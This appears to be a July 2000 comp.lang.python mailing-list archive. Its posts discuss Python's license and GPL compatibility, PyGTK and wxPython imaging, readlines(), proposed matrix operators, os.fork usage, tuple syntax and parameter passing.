Message-ID: <LNBBLJKPBEHFEDALKOLCAEMBGMAA.tim_one@email.msn.com>

[Stian Husemoen]
> I bow to the timbot for it's skills to dodge my puny troll-like
> flamebait postings <wink>

I can only dodge what I can see coming.  Really, the Python community should
debate the merits of the GPL and LGPL vigorously -- the thing that tripped
you up here is that they already have <wink>.  The point is moot here anyway
as Guido doesn't hold the Python copyright, so really has no direct say in
the matter.  There's a lesson there *somewhere* for new Open Source projects
...

> But another question.. You say the new license will be GPL
> compatible. What does this mean exactly?

It's easy to define precisely but almost impossible to explain:  our license
is GPL compatible when and only when RMS sends an email saying "Yes, this
license is compatible with the GPL".  We leave that to him to decide, as it
should be.  In practical terms, if you take package P under license L, and
package Q under the GPL, L is GPL-compatible if you can distribute the
combined package P+Q under the GPL with violating any of the obligations
imposed on you by L.  You can do that with CPython today (thanks to the old
CWI Python license), but not with JPython (thanks to the CNRI JPython
license).  Last I heard, RMS thought the proposed new CNRI CPython license
was incompatible with the GPL, but, also last I heard, CNRI and RMS were
still working to resolve that.  BeOpen PythonLabs is determined not to
accept a license unless it's GPL compatible: but I don't know CNRI's
position on this.

> the-AI-serves-you-well-ly y'rs

thanks-but-unfortunately-courts-don't-recognize-bots<wink>-ly y'rs  - tim





From glandrum at my-deja.com  Wed Jul 12 00:24:47 2000
From: glandrum at my-deja.com (Greg Landrum)
Date: Wed, 12 Jul 2000 04:24:47 GMT
Subject: Create wxBitmap from PIL
References: <396B8134.8E5426B9@engineering.uiowa.edu>
Message-ID: <8kgru3$pqf$1@nnrp1.deja.com>

In article <396B8134.8E5426B9 at engineering.uiowa.edu>,
  jtschirr at engineering.uiowa.edu wrote:
>
> How can I create a wxBitmap image from a Python Imaging Library (PIL)
> image?
>

Here's some sample code:
def PilImgToWxBmp(pilImg):
  wxImg = wxEmptyImage(pilImg.size[0],pilImg.size[1])
  wxImg.SetData(pilImg.tostring())
  bmp = wxImg.ConvertToBitmap()
  return bmp

I hope this helps,
-greg


Sent via Deja.com http://www.deja.com/
Before you buy.


From boud at rempt.xs4all.nl  Wed Jul 12 14:05:16 2000
From: boud at rempt.xs4all.nl (Boudewijn Rempt)
Date: 12 Jul 2000 18:05:16 GMT
Subject: Python Path Browser
References: <ikUa5.249$md2.145579@news01.micron.net>
Message-ID: <8kic0s$t3q$1@news1.xs4all.nl>

Greg Fortune <gfortune at micron.net> wrote:
> My team is using with Qt for a project we are working on and Idle doesn't
> seem to handle the Qt code very well so Nedit is a very suitable alternative
> for an editor and the python shell for testing/execution.  On the other
> hand, the Path Browser included with Idle is absolutely great.  I haven't
> dug around it the code much, but I assume it would be fairly straightforward
> to detach the Path Browser from the main Idle interface and use it as a
> stand-alone.  Has anyone done this already, and if so, is it available?  If
> not, has anything similar been developed?

It's as if I hear myself thinking, a few months ago... Or is it
time-travel? Anyway, you can find a port of the Idle class browser
to PyQt (for Qt 2.x) and to PyKDE (KDE 1.12) at my website. It's got
a few extra functions (you can add a path to the tree), and a bug
(there's a button that once did reload the current path, but have
somehow rebugged it...) The out-of-the-box editor is Nedit, too. To use
another editor you have to hack the source a bit.

Go to: 

  http://www.valdyas.org/python/kpybrowser.html 

for the browser. There's other stuff on PyKDE and PyQt at

  http://www.valdyas.org/python
	
too, which you might like to take a peek at.

-- 

Boudewijn Rempt  | http://www.valdyas.org


From paul at prescod.net  Thu Jul 13 03:41:46 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 13 Jul 2000 02:41:46 -0500
Subject: Combining PyMethodDef's to create one C module
References: <396D1B86.553E00B6@visionart.com>
Message-ID: <396D72BA.A06F7486@prescod.net>

Pete Shinners wrote:
> 

> 
> i've got a python extension in the works. the extension is
> split into two main C source files. i figured it would be
> easiest if each file has its own "PyMethodDef". then
> combine both these lists when creating the module with 
> "Py_InitModule"

Note that it is *your code* that uses PyMethodDef:

    return Py_FindMethod(xmlparse_methods, (PyObject *)self, name);


You could probably just check one list and then the other.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From mksql at my-deja.com  Thu Jul 13 16:44:01 2000
From: mksql at my-deja.com (mksql at my-deja.com)
Date: Thu, 13 Jul 2000 20:44:01 GMT
Subject: Python interpreter check and exit?
Message-ID: <8kl9mc$1e3$1@nnrp1.deja.com>

Does the Python interpreter have a "check the syntax of the program and
then exit without executing it" mode or command line parameter, as
in "Perl -c program.pl" ?

PythonWin has this ability through the check function, but I would like
to apply it to other editors.


Sent via Deja.com http://www.deja.com/
Before you buy.


From jkraska1 at san.rr.com  Sat Jul 22 16:52:02 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sat, 22 Jul 2000 20:52:02 GMT
Subject: wxPython and jPython
References: <8ld08k$h5s$1@gossamer.itmel.bhp.com.au>
Message-ID: <397A0A31.9669504A@san.rr.com>

> Is it possible to use wxPython under jPython?  The reason I wish to do so is
> that I have a java-based API that I wish to use under jpython but do not
> wish to go to the trouble of learning AWT or SWING for the GUI.

Well, while someone will no doubt answer you definitely in a moment,
if JPython allows access to c native .dll python extensions, of course
the answer is yes. Haven't done this myself, however, so all you have
right now is my (maybe faulty) reasoning process. :)



C/


From esko.lehtonen at pp.htv.fi  Mon Jul  3 17:11:34 2000
From: esko.lehtonen at pp.htv.fi (Esko Lehtonen)
Date: Tue, 04 Jul 2000 00:11:34 +0300
Subject: PyGtk again but with segfault
Message-ID: <39610186.36BAFE88@pp.htv.fi>

Sunday I asked about PyGTK's draw_array-method a stupid question:-) Now
I have another, hopefully a stupid (=and easily solvable) too.


from gtk import *
from Numeric import *
--
win = GtkWindow()
darea = GtkDrawingArea()
---
HEIGHT = 50
WIDTH = 50
BYTES = 3
rgbbuf = ones([HEIGHT, WIDTH, BYTES], UnsignedInt8)

gc = self.win.get_style().white_gc
drawable = self.darea.get_window()
dither = GDK.RGB_DITHER_NORMAL
x = 10
y = 10
rowstride = WIDTH * 3

draw_array(drawable, gc, x, y, dither, rgbbuf)


Unfortunataly I got now segmentation fault when the C function is
executed.
I tried to examine where the problem is. From gdb I got:

Program received signal SIGSEGV, Segmentation fault.
0x4039ec58 in gdk_draw_rgb_image () from /usr/lib/libgdk-1.2.so.0

All parameters to C function are correct. I checked it recompiling
_gtkmodules.so with many many printf()... (There might be better ways,
but I'm not used to debug C programs.)

Still gdk_draw_rgb_image() function works well when called from C
program. 

My system is Debian 2.2 potato with Python 1.5 and Gtk+ 1.2.

Thank you again...

--------------------------------------------------------------------
 Esko Lehtonen                   WYSINWYG -              
                                 What You See Is Never What You Get


From eaganhills at yahoo.com  Fri Jul  7 15:08:03 2000
From: eaganhills at yahoo.com (Demos Economacos)
Date: Fri, 7 Jul 2000 12:08:03 -0700 (PDT)
Subject: Newbie: Development plaform
Message-ID: <20000707190803.4740.qmail@web210.mail.yahoo.com>

Hello,

I am comtemplating development of a system that will
have to run on Linux, Win and Mac. 

My questions are: 
What GUI tool and Database (< 100,000 recs) would you
recommend?
How to distribute programs to users (< 100)

Thanks 

Demos
 



__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/



From jmcbray at carcosa.net  Mon Jul 24 11:05:34 2000
From: jmcbray at carcosa.net (Jason F. McBrayer)
Date: 24 Jul 2000 11:05:34 -0400
Subject: hidden input?
References: <ll5kns07hmdesddv6ai177e7j6ij76of18@4ax.com> <397A1F9D.32AF7F95@roguewave.com>
Message-ID: <m1ya2rpo01.fsf@bertrand.carcosa.net>

>>>>> "BP" == Bjorn Pettersen <bjorn at roguewave.com> writes:

BP> Ben Wolfson wrote:
>> 
>> Is there a way to get input not echoed to the screen in Python, as in the
non-standard functions kbhit() and getch() in C and C++?

BP> import msvcrt

...

Or if you're on Unix, see the documentation for the termios module.
And for the obvious use of this, the getpass module works on mac,
unix, and winders.
-- 
+-----------------------------------------------------------+
| Jason F. McBrayer                    jmcbray at carcosa.net  |
| A flower falls, even though we love it; and a weed grows, |
| even though we do not love it.            -- Dogen        |


From david_ullrich at my-deja.com  Tue Jul  4 13:10:31 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Tue, 04 Jul 2000 17:10:31 GMT
Subject: Bug in math.frexp?
References: <LNBBLJKPBEHFEDALKOLCGENKGHAA.tim_one@email.msn.com>
Message-ID: <8jt5ps$lte$1@nnrp1.deja.com>

In article <LNBBLJKPBEHFEDALKOLCGENKGHAA.tim_one at email.msn.com>,
  "Tim Peters" <tim_one at email.msn.com> wrote:
> Guys, this is not open to debate.  frexp is a std ANSI C function,
Python
> calls the platform frexp directly, and the new docstring I checked in
is an
> exact paraphrase of the std in Pythonic language.  I don't care what
> manpages say.  I *would* care if somebody can show an actual example
of a
> Python implementation where the examples posted do not work exactly as
> shown:  that would mean the platform is buggy -- but the new docs are
still
> correct <wink>.

   Indeed. I haven't seen the new docs except for that docstring
you posted - I was gonna suggest that maybe you might even want
to be explicit about the fact that the _sign_ of the mantissa
is the same as the sign of the argument (if it's already there
never mind, all I saw was a statement about abs(mantissa), but
I'm know to be sort of blind sometimes.)

   One might say of course that's what the sign of the mantissa
is, what else makes sense. But you may as well be explicit -
someone right here seemed to think that the sign of the
_exponent_ should be the same as the sign of the argument.

> arrogant-but-with-cause-in-this-case-ly y'rs  - tim

   Don't look all that arrogant to me, which probably
explains a lot.

DU


Sent via Deja.com http://www.deja.com/
Before you buy.


From michael at stroeder.com  Sun Jul 30 08:41:31 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Sun, 30 Jul 2000 14:41:31 +0200
Subject: ANNOUNCE: web2ldap.py 0.7.8 - web gateway for accessing LDAP servers
Message-ID: <3984227B.1BC40F7B@stroeder.com>

*** web2ldap.py 0.7.8 ***

I would like to announce a new version of web2ldap, a full-featured
LDAPv2+ client written in Python designed to run as web gateway.

It's available for free (GPL) from

  http://www.web2ldap.de/

The changes are documented on:

  http://www.web2ldap.de/changes.html

There's a demo up and running:

  http://www.web2ldap.de/demo.html

I would like to encourage users to heavily test this gateway and
report success or problems to feedback at web2ldap.de. You might want
to use the feedback form on

  http://www.web2ldap.de/feedback.html

as a template for a mail. Thanks a lot.

Ciao, Michael.


From hzhu at localhost.localdomain  Thu Jul 20 16:01:52 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 20:01:52 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr> <39771F6D.A9A0A26B@yale.edu>
Message-ID: <slrn8nemsi.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 11:49:01 -0400, Paul Magwene <paul.magwene at yale.edu> wrote:
>Konrad Hinsen wrote:
>> 
>> But there are other alternatives. How about operators in parentheses?
>> a (*) b looks fine to me, and it is currently illegal so it can't cause
>> compatibility problems. I'd even claim that it somewhat *looks* like
>> a matrix operation.
>
>Of all the proposals so far, I find Konrad's suggestion to be the most
>appealing.
>I could definitely get used to the following:
>
>A(*)B
>A(/)B
>A(+.*)B
>...etc

There is one reason this will not be accepted eventually.  The parathesis
suggests the possibility of a calculas of operators within them, when, in
fact, operators are hardcoded in the C program.  John Lull had given a clear
explanation why this is so.

To give the impression of unlimited supply of operators while not so
would cause quite a bit of confusion, imho.

Besides, this might indeed fit the "it's like perl" criticisim for this
special zone within parathesis. <0.5wink>

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From fredp at mygale.org.nospam  Thu Jul 20 12:28:13 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 20 Jul 2000 16:28:13 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <8l75nu$vq$1@sunnews.cern.ch>
Message-ID: <8F77B881FPaCmAnRDLM@161.48.76.20>

garabik at center.fmph.uniba.sk.spam (Radovan Garabik) said :

> : Since then I have been through what I believe to be a reasonably
> : thorough Web search (from Parnassus outwards) to find something to
> : get me started, and have turned up precious little. Various Python
> : bindings of curses or ncurses exist, but can one run curses itself
> : under Win 9x ? Or are there 
>
>http://www.mikroplan.com.pl/~mak/python/files/pdcurses.zip

Hey, thanks very much ! This looks very much like what I was asking for !
I hope the example included is enough documentation :)
(at least it works...)

This proves again what a strange, incredible beast Python (or rather, the 
python community) is... everything (almost) exists, but a great lot of it 
is mightily hard to come by (unless you already know its existence _and_ 
its name in the first place :-).

But thanks, off to work now...

-- 
YAFAP : http://www.multimania.com/fredp/


From samschul at pacbell.net  Fri Jul  7 15:39:27 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Fri, 07 Jul 2000 19:39:27 GMT
Subject: How do I ring the bell?
References: <8k2lcd$59v$1@gossamer.itmel.bhp.com.au>
Message-ID: <8k5ble$367$1@nnrp1.deja.com>

If you are working under Windows see these routines.
Then contain an example on how to call into kernal32.dll
http://www.nightmare.com/~rushing/dynwin/

Sam Schulenburg



In article <8k2lcd$59v$1 at gossamer.itmel.bhp.com.au>,
  "A J Wilson" <wilson.austin.aj at bhp.com.au> wrote:
> Hi
>
> I would like to ring the PC's bell (ie internal speaker) to alert the
> operator that an operation has finished running.  How do I do this in
my
> python program?
>
> Thanks
> Austin
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From mcarpenter at free.fr  Fri Jul 14 11:04:29 2000
From: mcarpenter at free.fr (Martin Carpenter)
Date: Fri, 14 Jul 2000 15:04:29 GMT
Subject: getpid Usage
References: <Pine.BSF.4.10.10007141021410.5717-100000@hercule.perceval.be>
Message-ID: <396F2C1E.517A5519@free.fr>

Gregoire Welraeds wrote:

> You should have a look at the os.fork() function which is  python
> "translation" of the fork system call (availability Unix).
[snip]
> i= os.fork()    # Create the new process
> 
> if i != 0:      # If i != 0, we are in the parent process
>         print 'Forked process as the pid : ', i
> else:           # We are in the child process
>         os.system('ls -la')

But I think the original question requires use of one of the os.exec*
family rather than os.system - that way you're sure to know the PID of
the eventual target program and not the PID of the child process that
calls the target program, which isn't the same thing...

Martin.



From nobody at nowhere.nohow  Fri Jul 28 21:59:22 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:59:22 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <slrn8o283n.qtv.nobody@isis.visi.com> <8lsr93$hrq$3@newshost.accu.uu.nl>
Message-ID: <slrn8o4ejq.abr.nobody@isis.visi.com>

In article <8lsr93$hrq$3 at newshost.accu.uu.nl>, Martijn Faassen wrote:
>Grant Edwards <nobody at nowhere.nohow> wrote:

>> No, 1 is not a sequence.  1 is an integer.  [1] is a sequence.  (1) is a
>> sequence.
>
>In fact the (1) bit _is_ an actual quirk/wart of Python, as (1) is also 1.
>Single element tuples are a bit tricky. (1,) is clearer.

Damn. I keep doing that.  Scheme habits.  I meant that 1, is a sequence not
that (1) is a sequence.  The whole overloaded comma problem requiring parens
to disambiguate things perpetuates the impression that parens are used to
build tuples as [] and {} are used to build lists and dictionaries.

If there were one thing I would change in Python syntax it would be to make
tuple syntax analogous that of dictionaries and lists: with a start delimiter,
elements separated by commas, and an end delimiter.  Picking the delimiter to
use wold be problematic and I guess would have to be multi-char sequence,
which would be ugly.

-- 
Grant Edwards                   grante             Yow!  Now, let's SEND OUT
                                  at               for QUICHE!!
                               visi.com            


From m.faassen at vet.uu.nl  Sun Jul 30 17:09:25 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:09:25 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com>
Message-ID: <8m25i5$ila$2@newshost.accu.uu.nl>

Alex Martelli <alex at magenta.com> wrote:
[snip]
> Some expressions that have no side effects are very handy, by the way.
> For example, prepending and appending a """ to a block of lines (thus
> turning them all into an expression that is a single constant string)
> may be a useful way to "comment out" the whole block.

Aah, docstrings; that's a good exception to the 'it only makes sense when
there's a call happening' rule I proposed. I figured there must
be some!

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From robin at jessikat.fsnet.co.uk  Sat Jul 22 03:25:01 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 22 Jul 2000 08:25:01 +0100
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com>
 <39792C74.E7E3DB2B@prescod.net>
Message-ID: <K5GZdbANxUe5EwOE@jessikat.fsnet.co.uk>

In article <39792C74.E7E3DB2B at prescod.net>, Paul Prescod
<paul at prescod.net> writes
>Bjorn Pettersen wrote:
>> 
>> Justification, Scenario 4:
>> 
>>    An existing class has a string attribute, however the most common
>> operation on it is appending to the end. Through the profiler you find
>> that this operation is taking up 95% of the applications time. You want
>> to change the implementation to cStringIO for efficiency (total
>> execution time for your application goes from 90 seconds to 3 secs).
>
>Actually, I'm not sure if my proposal would help here. Appending to a
>cStringIO is not an assignment operation...
>
...
If the attr is a mutable sequence/map etc how can they be made readonly
using this scheme, are we forced to make immutable string types etc
-- 
Robin Becker


From hinsen at cnrs-orleans.fr  Wed Jul 26 05:18:25 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 26 Jul 2000 11:18:25 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu>
Message-ID: <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr>

Charles Boncelet <boncelet at eecis.udel.edu> writes:

> After reading numerous posts on the subject of adding more 
> infix operators to Python (e.g., making Python more like Matlab),
> I'm starting to wonder if the proposed solutions are not worse 
> than the original problems.
> 
> A few comments (some plagiarised from others--but I'll try to
> attribute when I remember the source):
> 
> 1. MatPy currently does a pretty good job of addressing many of
> the concerns for linear algebra.  The syntax for inverse (A.I())
> and transpose (A.T()) are both simple and allow for class specific
> implementations (e.g. for a triangular matrix).

You raise an important point: adding operators may not be the best
solution at all.

With the ongoing rework of NumPy that turns arrays into Python classes
with an underlying C implementation, it would be possible to have an
"array" and a "matrix" class with different semantics, but sharing
most of the code and having equal performance. Conversion between the
two would also be possible at basically no cost, and C modules could
be written to accept both.

Having two different classes with different semantics is perfectly
normal in Python. It would only be a problem if there were important
application domains that require both semantics mixed together, but I
am not aware of such domains.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From guido at beopen.com  Fri Jul 28 22:02:38 2000
From: guido at beopen.com (Guido van Rossum)
Date: Fri, 28 Jul 2000 21:02:38 -0500
Subject: Python License News
Message-ID: <200007290202.VAA05626@cj20424-a.reston1.va.home.com>

Bob Weiner (BeOpen's CTO, my boss) told me that he's very close to
reaching a compromise with CNRI about the new Python license.  There's
only one remaining issue before Richard Stallman is willing to declare
the license GPL-compatible.  We expect that this wrinkle will be
worked out with CNRI's president Bob Kahn on Monday.

Tim Peters knows more, you just have to ask the right way. :-)

Gotta run,

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)



From mark.w.daley at intel.com  Fri Jul 21 18:42:17 2000
From: mark.w.daley at intel.com (Daley, Mark W)
Date: Fri, 21 Jul 2000 15:42:17 -0700
Subject: iterating over lines in a file
Message-ID: <75F7304BB41CD411B06600A0C98414FCB36815@ORSMSX54>

Isn't the argument for readlines() a memory size, as in 512 bytes?  If so,
it is possible to have 3509 lines that are <= 512 bytes.

Just my two cents...

- Mark

-----Original Message-----
From: cjc26 at nospam.cornell.edu [mailto:cjc26 at nospam.cornell.edu]
Sent: Friday, July 21, 2000 1:32 PM
To: python-list at python.org
Subject: Re: iterating over lines in a file


* David Bolen <db3l at fitlinxx.com> menulis:
| 
| > readlines() has an optional argument which specifies the approximate
| > number of bytes to read in at a time, rather than the entire file.
| > So something like
| > 
| > for line in file.readlines(8192):
| >     # process line
| > 
| > would only use about 8k of memory.
| 
| And only fully process files less than 8K in size.  The call to
| file.readlines(8192) returns the list of lines contained within the
| first 8K of the file (approximately), and that's all the 'for' is
| going to iterate over.  You have to repeatedly call file.readlines()
| again to keep reading the file, which puts you pretty much back in the
| original readline() mode, just with bigger chunks.

That doesn't seem to be true--readlines() reads the whole file whether
you specify a size argument or not.  For example:

>>> f=open("file.txt")
>>> size=0  
>>> for line in f.readlines():
...     size=size+len(line)
... 
>>> size
3509
>>> f.close()
>>> f=open("file.txt")
>>> size=0
>>> for line in f.readlines(512):
...     size=size+len(line)
... 
>>> size
3509


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166




From donn at oz.net  Fri Jul 28 00:59:02 2000
From: donn at oz.net (Donn Cave)
Date: 28 Jul 2000 04:59:02 GMT
Subject: "always passes by reference"
References: <B5A66D15.6B2D%dgoodger@bigfoot.com> <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature>
Message-ID: <8lr3um$r7r$2@216.39.151.169>

Quoth David Goodger <dgoodger at bigfoot.com>:
| "Pass by Spanish Inquisition" is a highly Pythonic term, and one that I like
| a lot. However... (and forgive me if this has already been mentioned)
|
| I've heard Python's parameter passing termed "pass by assignment". So a
| function:
|
|     def f(x):
|         pass
|
| which is called as:
|
|     f(y)
|
| simply does the assignment:
|
|     x = y
|
| with x in the function's namespace, and y in the caller's namespace. So what
| happens in regards to values/references? Lists and dictionaries appear to be
| passed by reference, because they're mutable. Strings, tuples and numbers
| appear to be passed by value, because they're immutable. Not having delved
| into the internals of the process, I can't authoratively say, but this seems
| a perfectly reasonable explanation to me. All parameters are simply assigned
| or bound to new names in new local namespaces. What is possible depends on
| the type of object that's passed.

Sounds OK to me, except I still say, mutable really has nothing to
do with it.  For sure, if you want to pass a parameter and see it
change, it will have to be mutable.  But the passing mechanism is the
same.  The semantics of the "variable" that was passed is the same.
The properties of the object that was passed, like mutability, are
not involved in the parameter passing mechanism.

	Donn Cave, donn at oz.net


From esko.lehtonen at pp.htv.fi  Sun Jul  2 05:34:30 2000
From: esko.lehtonen at pp.htv.fi (Esko Lehtonen)
Date: Sun, 02 Jul 2000 12:34:30 +0300
Subject: PyGTK and draw_array
Message-ID: <395F0CA6.A20736F@pp.htv.fi>

I am trying to manipulate an image and then draw it to GtkDrawingArea
using PyGtk and Numerical Python. 

Here is description of draw_array function from file gtk.py. (I don't
know exactly what is that hassattr thing.)

   # this function renders an unsigned byte (type code 'b') numpy array
to a
   # drawable.  If it is a MxN or MxNx1 array, it is assumed to be a
grey image.
   # If it is a MxNx3 or MxNx4 array, it is assumed to be an rgb image.
   # It should accept images that have been sliced along their first two
axes,
   # if you want to only draw part of the image.
   if hasattr(_gtk, "gdk_draw_array"):
           def draw_array(drawable, gc, x, y, dither, array):
                   _gtk.gdk_draw_array(drawable, gc, x, y, dither,
array)

So I made following code:

WIDTH = 30
HEIGHT = 20
D = 3
# create rgb image as array, every value 100
img = ones((WIDTH, HEIGHT, D), 'b')
img = img * 100
----
darea = GtkDrawingArea()
---- 
draw_array(darea.get_window(),
	   widget.get_style().black_gc, x, y, 
           GDK.RGB_DITHER_NORMAL, img)


I still have a problem, because then a got: "TypeError: array data must
be unsigned bytes" when I'm trying to use the draw_array function. 

What is problem here? Or do you know alternative ways to do this using
PyGTK or some other graphics library?

Thanks in advance



--------------------------------------------------------------------
 Esko Lehtonen                   WYSINWYG -              
                                 What You See Is Never What You Get


From akoch at rbg.informatik.tu-darmstadt.de  Tue Jul 18 18:02:14 2000
From: akoch at rbg.informatik.tu-darmstadt.de (Andreas Koch)
Date: Wed, 19 Jul 2000 00:02:14 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <3974D3E6.F6C0F7B4@rbg.informatik.tu-darmstadt.de>


Mallor schrieb:
> 
> Are any of you game developers out there using Python as your game engine's
> embedded scripting language?  I am wondering what drove your decision to use
> Python instead of other embeddable scripting languages?  I'd like to hear what
> your overriding concerns were, and also what they are now, having put Python to
> the test.

Don't know if this helps you much, but the freeware roquelike
"Pernangband" 
uses Python as scripting language.

I thought about using scripting in one of my future games, and i guess
i would have used it (seems quite a nice language, from the limited
knowledge if have about it) if i didn't decide that scripting would
be probably too slow for my case...

                                                                Andreas




From paul at prescod.net  Mon Jul 17 14:33:55 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 13:33:55 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu>
Message-ID: <39735193.C8A6C311@prescod.net>

Charles Boncelet wrote:
> 
> ...
> 
> Remember, these people spend real money on Matlab.  Even the
> student edition is about $100.

Let me repeat a challenge I made to Huaiyu Zhu. If the only difference
between Matlab and Python is the syntax, then let's you and I make a
Matlab syntax for Python and sell it at half of Matlab's price. We could
make millions on a month's work! 

After a year or so, we could promote our company as a B2B solution
(linear optimization is part of supply chain management, right?) and
then we check out as multi-millionaires.

My strong feeling is that people don't just use Matlab for the syntax.
And the popularity of Matlab books is probably not proportional to the
popularity of Matlab. University students are forced to buy those books. 

Also, I agree with Bjorn. If we try to take on the attributes of every
language that is more popular than Python, we'll end up with a mess.

> Now to the specifics of the proposal: I'd like to see "@" for matrix 
> mulitplication and "*" for element-wise multiplication.  This preserves 
> compatibility with numpy, although breaks it with the MatPy package. 
> It is more important, IMHO, to preserve compatibility with the existing 
> python numerical facilities than with Matlab.  Any user switching over 
> will have to learn a lot of new things anyway.  Distinguishing @ and * 
> should be easy enough. 

Why is it that Huaiyu Zhu proposes several operators and you propose
only one? A single operator has a MUCH higher chance of being accepted.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From bjorn at roguewave.com  Tue Jul 18 19:44:26 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 18 Jul 2000 17:44:26 -0600
Subject: Duplicates again
References: <397458FF.E5E88361@VerizonWireless.com>
Message-ID: <3974EBDA.B56B81CB@roguewave.com>

Bill Scherer wrote:
> 
> It's happening again, duplicates by the dozen.
> 
> sigh.
> 
> I'm not the only one, am I?

nope, it's been quite unbearable today... (re-living the matrix thread
again, and again <wink>)

-- bjorn

> 
> hoping-someone-is-listening-who-can-do-something-about-it-ly yrs,
> 
> --
> William K. Scherer
> Sr. Member of Applications Staff
> Verizon Wireless
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From rumjuggler at cryptarchy.org  Mon Jul 24 16:26:12 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Mon, 24 Jul 2000 20:26:12 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <397C5DD3.437C4431@eecis.udel.edu> <397C6BD8.9BDBB174@prescod.net> <6O_e5.26406$1h3.428478@news20.bellglobal.com> <8li8m2$hu2$1@slb7.atl.mindspring.net>
Message-ID: <du9pnso2a2hhpf1gmj5jau11hsqq1p23dn@4ax.com>

On 24 Jul 2000 20:24:34 GMT, aahz at netcom.com (Aahz Maruch) wrote:

>That's a deprecated way of thinking.

Please report to the Ministry of Creativity for readjustment.

-- 
Barnabas T. Rumjuggler

"When I use a word," Humpty Dumpty said, in a rather scornful tone, "it
means just what I choose it to mean--neither more nor less".  
"The question is," said Alice, "whether you can make words mean so many
different things."  
"The question is," said Humpty Dumpty, "which is to be master--that's all"
 -- Lewis Carroll (Charles Lutwidge Dodgson), _Through the Looking Glass_


From rloisel at helicon.net  Mon Jul 24 09:11:38 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Mon, 24 Jul 2000 09:11:38 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com>
Message-ID: <397C408A.128E43EB@helicon.net>

Problem solved. I had not installed Tcl/tk
Also in the process put the correct paths in Autoexec.bat
and now everything works... *.py icons will work wherever
they are clicked on .
One of the 'read the readme files' issues!
rloisel



From dgoodger at bigfoot.com  Sat Jul  1 11:34:30 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sat, 01 Jul 2000 11:34:30 -0400
Subject: Missing OmPyUnit module in OmPyUnit
In-Reply-To: <0hk75.10271$HD6.284269@iad-read.news.verio.net>
References: <0hk75.10271$HD6.284269@iad-read.news.verio.net>
